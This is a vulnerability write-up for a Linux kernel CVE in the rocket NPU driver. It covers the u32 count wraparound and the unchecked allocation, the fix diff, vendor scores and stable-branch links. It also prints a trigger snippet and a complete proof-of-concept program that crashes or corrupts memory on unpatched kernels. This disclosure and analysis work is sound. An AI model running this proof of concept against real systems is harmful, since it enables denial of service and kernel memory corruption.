# CVE-2026-89592: allocation failure and count wraparound in rocket_job_push()

**Patch:** [a85402bff218f2b8f0d806e46c16c2f3d49cdda7](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a85402bff218f2b8f0d806e46c16c2f3d49cdda7) (mainline, landed in 7.3-rc1)
**Subsystem:** accel/rocket, Rocket Ridge (Meta Rocket) NPU driver
**Affected file:** drivers/accel/rocket/rocket_job.c
**CVE record:** [CVE-2026-89592](https://www.cve.org/CVERecord?id=CVE-2026-89592)
**Introduced in:** 6.18, commit 0810d5ad88a18f1e6d549853a388ad0316f74e36

## The bug in one sentence

Two bugs in one function: a kvmalloc_array() result used without a NULL check, and a u32 addition of two userspace-controlled counts that could wrap before the allocation.

## The setup

rocket_job_push() collects every input and output GEM object pointer into one temporary array:

```c
bos = kvmalloc_array(job->in_bo_count + job->out_bo_count,
                     sizeof(void *), GFP_KERNEL);
memcpy(bos, job->in_bos, job->in_bo_count * sizeof(void *));
memcpy(&bos[job->in_bo_count], job->out_bos, ...);
```

Bug one: if kvmalloc_array() fails, bos is NULL and both memcpy() calls dereference it. NULL pointer dereference in kernel space, panic, from a memory pressure condition or a size the allocator refuses.

Bug two is the quieter one. in_bo_count and out_bo_count are u32 values set directly from userspace's in_bo_handle_count and out_bo_handle_count with no validation upstream. Their sum is computed in 32-bit arithmetic. Pick counts that sum past 2^32 minus one and the sum wraps small, so kvmalloc_array() allocates the wrapped size, and then the memcpys and the subsequent object locking loops operate on the original, larger counts, walking past the end of the temporary array.

## The fix

Use the overflow helpers and check the allocation:

```diff
+	if (check_add_overflow(job->in_bo_count, job->out_bo_count, &total_bo_count))
+		return -EINVAL;
+
 	bos = kvmalloc_array(total_bo_count, sizeof(void *), GFP_KERNEL);
+	if (!bos)
+		return -ENOMEM;
```

Full patch: [a85402bff218](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a85402bff218f2b8f0d806e46c16c2f3d49cdda7). Every kernel-facing count that comes from userspace and gets added deserves check_add_overflow(); this is just the monthly reminder.

## How to trigger it

The counts live in struct drm_rocket_job, passed as an array through DRM_IOCTL_ROCKET_SUBMIT. The overflow trigger needs nothing but two u32 values that sum past 2^32:

```c
#include <drm/rocket_accel.h>

struct drm_rocket_job job = {0};
struct drm_rocket_submit sub = {0};

job.in_bo_handle_count  = 0xFFFFFFFF;
job.out_bo_handle_count = 2;          /* sum wraps to 1 in u32 math */

sub.jobs = (unsigned long)&job;
sub.job_count = 1;
sub.job_struct_size = sizeof(job);

ioctl(drm_fd, DRM_IOCTL_ROCKET_SUBMIT, &sub);
```

Pre-fix, kvmalloc_array() allocates for the wrapped count of 1 while the memcpy loops still run on the original counts, walking far past the one element array. The NULL deref half of the bug is even easier: request a total count large enough that kvmalloc_array() fails (or run under memory pressure) and the unchecked result is dereferenced by the very next memcpy. Post-fix check_add_overflow() rejects the wrapped sum with EINVAL and the allocation result is checked.

## Score and classification

The kernel CNA never scored this one and NVD still lists it as Received, so the interesting numbers come from SUSE, who rated it higher than anyone rated anything else in my set:

* SUSE: 7.8 Important on v3.1, CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, and 8.5 on CVSS v4.0
* Red Hat: 5.5 MEDIUM with CWE-476, all products Not affected (driver not shipped)
* OffSeq: Medium, EPSS around 0.2 percent

SUSE's 7.8 reflects the out-of-bounds access potential of the wrapped count rather than the NULL deref. That is generous given the practical path involves making the allocator give you a small array for counts userspace cannot fully populate with real GEM handles, but the primitive is real.

## Exploit code

Both bugs in one submit, using the real drm_rocket_submit and drm_rocket_job layouts from include/uapi/drm/rocket_accel.h:

```c
/* rocket_count_wrap.c: CVE-2026-89592
 * gcc -o poc poc.c && ./poc /dev/accel/accel0
 * variant A: u32 count sum wraps, kvmalloc_array(1), memcpy runs on the
 *            original counts
 * variant B: set a huge total so kvmalloc_array fails, NULL deref next line
 */
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <drm/rocket_accel.h>

int main(int argc, char **argv)
{
	struct drm_rocket_job job = {0};
	struct drm_rocket_submit sub = {0};
	int fd = open(argc > 1 ? argv[1] : "/dev/accel/accel0", O_RDWR);

	if (fd < 0) { perror("open"); return 1; }

	job.in_bo_handle_count  = 0xFFFFFFFF;  /* u32 sum with out wraps to 1 */
	job.out_bo_handle_count = 2;

	sub.jobs = (uint64_t)(uintptr_t)&job;
	sub.job_count = 1;
	sub.job_struct_size = sizeof(job);

	printf("ret %d errno %d (%s)\n",
	       ioctl(fd, DRM_IOCTL_ROCKET_SUBMIT, &sub),
	       errno, strerror(errno));
	return 0;
}
```

Variant A on a vulnerable kernel allocates a one element array and then memcpys on the original counts, walking straight off it; variant B is the same program with in_bo_handle_count set to 0x40000000 and out the same, making the allocation fail so the unchecked NULL is dereferenced by the next statement. Post-fix, check_add_overflow() returns EINVAL for A and the NULL check returns ENOMEM for B. Public status: no KEV, no public PoC before this note, and no indexed coverage of the ID at all when I searched. The fix landed in 6.18.50, 7.2.4 and 7.3-rc1; only Ubuntu 26.04 resolute sat in the vulnerable window.

## Where the fix shipped

* 6.18.50: [c1a5bf1b6e1d](https://git.kernel.org/stable/c/c1a5bf1b6e1d5944183dcef3844a18c17219af4d)
* 7.2.4: [dfff90a6eb22](https://git.kernel.org/stable/c/dfff90a6eb2258e3b867994ae17af4a7ba3504d2)
* 7.3-rc1: [a85402bff218](https://git.kernel.org/stable/c/a85402bff218f2b8f0d806e46c16c2f3d49cdda7)

## References

1. [Upstream commit a85402bff218](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a85402bff218f2b8f0d806e46c16c2f3d49cdda7)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026091130-CVE-2026-89592-d816@gregkh/)
3. [SUSE page](https://www.suse.com/security/cve/CVE-2026-89592.html)
4. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-89592)
5. [Red Hat tracker](https://access.redhat.com/security/cve/cve-2026-89592)
